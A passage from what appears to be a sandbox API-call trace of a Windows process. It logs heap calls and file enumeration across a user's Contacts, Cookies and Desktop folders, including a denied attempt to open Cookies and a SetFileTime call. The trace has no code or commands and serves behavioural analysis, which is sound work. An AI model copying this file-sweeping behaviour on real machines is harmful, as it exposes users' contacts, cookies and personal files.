cAlternateFileName="")) returned 1 [0090.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4cd8 [0090.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0008 [0090.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.539] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4cf8 [0090.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0090 [0090.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.541] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="")) returned 1 [0090.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4d18 [0090.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0118 [0090.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.543] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="")) returned 1 [0090.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4d38 [0090.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f01a0 [0090.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.544] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="")) returned 0 [0090.545] GetLastError () returned 0x12 [0090.545] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.545] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0x0, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="")) returned 1 [0090.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="")) returned 0 [0090.545] GetLastError () returned 0x12 [0090.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.545] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.546] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0090.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.547] GetLastError () returned 0x5 [0090.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.548] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.548] GetLastError () returned 0x5 [0090.548] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.548] GetLastError () returned 0x5 [0090.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.549] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x614f24d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x614f24d0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0090.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x614f24d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x614f24d0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0090.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.549] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.550] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.550] NtClose (Handle=0x178) returned 0x0 [0090.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.551] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x614f24d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x614f24d0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.551] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2250d7a0, ftCreationTime.dwHighDateTime=0x1d5c4f6, ftLastAccessTime.dwLowDateTime=0x3fbeff90, ftLastAccessTime.dwHighDateTime=0x1d5c5fc, ftLastWriteTime.dwLowDateTime=0x3fbeff90, ftLastWriteTime.dwHighDateTime=0x1d5c5fc, nFileSizeHigh=0x0, nFileSizeLow=0x25b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7vJz7wYSu_l2o29jFE.wav", cAlternateFileName="")) returned 1 [0090.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4d58 [0090.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0228 [0090.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.553] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f8fcc80, ftCreationTime.dwHighDateTime=0x1d5baa1, ftLastAccessTime.dwLowDateTime=0xe5302a60, ftLastAccessTime.dwHighDateTime=0x1d5c4c8, ftLastWriteTime.dwLowDateTime=0xe5302a60, ftLastWriteTime.dwHighDateTime=0x1d5c4c8, nFileSizeHigh=0x0, nFileSizeLow=0x1499a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2QO4JoKkMPrvQJdV6P.mp3", cAlternateFileName="")) returned 1 [0090.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4d78 [0090.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f02b0 [0090.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.555] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53a71f40, ftCreationTime.dwHighDateTime=0x1d5bfcd, ftLastAccessTime.dwLowDateTime=0x9445bad0, ftLastAccessTime.dwHighDateTime=0x1d5b595, ftLastWriteTime.dwLowDateTime=0x9445bad0, ftLastWriteTime.dwHighDateTime=0x1d5b595, nFileSizeHigh=0x0, nFileSizeLow=0x1d73, dwReserved0=0x0, dwReserved1=0x0, cFileName="46pAR3t.gif", cAlternateFileName="")) returned 1 [0090.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4d98 [0090.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0338 [0090.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.556] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3204fea0, ftCreationTime.dwHighDateTime=0x1d5b845, ftLastAccessTime.dwLowDateTime=0x104096e0, ftLastAccessTime.dwHighDateTime=0x1d5baab, ftLastWriteTime.dwLowDateTime=0x104096e0, ftLastWriteTime.dwHighDateTime=0x1d5baab, nFileSizeHigh=0x0, nFileSizeLow=0x12c1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5dzV.png", cAlternateFileName="")) returned 1 [0090.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4db8 [0090.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f03c0 [0090.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.558] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b3d4740, ftCreationTime.dwHighDateTime=0x1d5bc67, ftLastAccessTime.dwLowDateTime=0xb6f83820, ftLastAccessTime.dwHighDateTime=0x1d5c08d, ftLastWriteTime.dwLowDateTime=0xb6f83820, ftLastWriteTime.dwHighDateTime=0x1d5c08d, nFileSizeHigh=0x0, nFileSizeLow=0x294f, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ly1zzHro QX.avi", cAlternateFileName="")) returned 1 [0090.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4dd8 [0090.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f0448 [0090.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.560] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x826e93e0, ftCreationTime.dwHighDateTime=0x1d5bb8f, ftLastAccessTime.dwLowDateTime=0x21d14570, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x21d14570, ftLastWriteTime.dwHighDateTime=0x1d5c1d7, nFileSizeHigh=0x0, nFileSizeLow=0x13015, dwReserved0=0x0, dwReserved1=0x0, cFileName="7onfaCEdf3glnh.bmp", cAlternateFileName="")) returned 1 [0090.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f4df8 [0090.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f04d0 [0090.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3aeed850, ftCreationTime.dwHighDateTime=0x1d5b963, ftLastAccessTime.dwLowDateTime=0xbffff7c0, ftLastAccessTime.dwHighDateTime=0x1d5c0b3, ftLastWriteTime.dwLowDateTime=0xbffff7c0, ftLastWriteTime.dwHighDateTime=0x1d5c0b3, nFileSizeHigh=0x0, nFileSizeLow=0xe329, dwReserved0=0x0, dwReserved1=0x0, cFileName="C0j --9LQK.wav", cAlternateFileName="")) returned 1 [0090.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 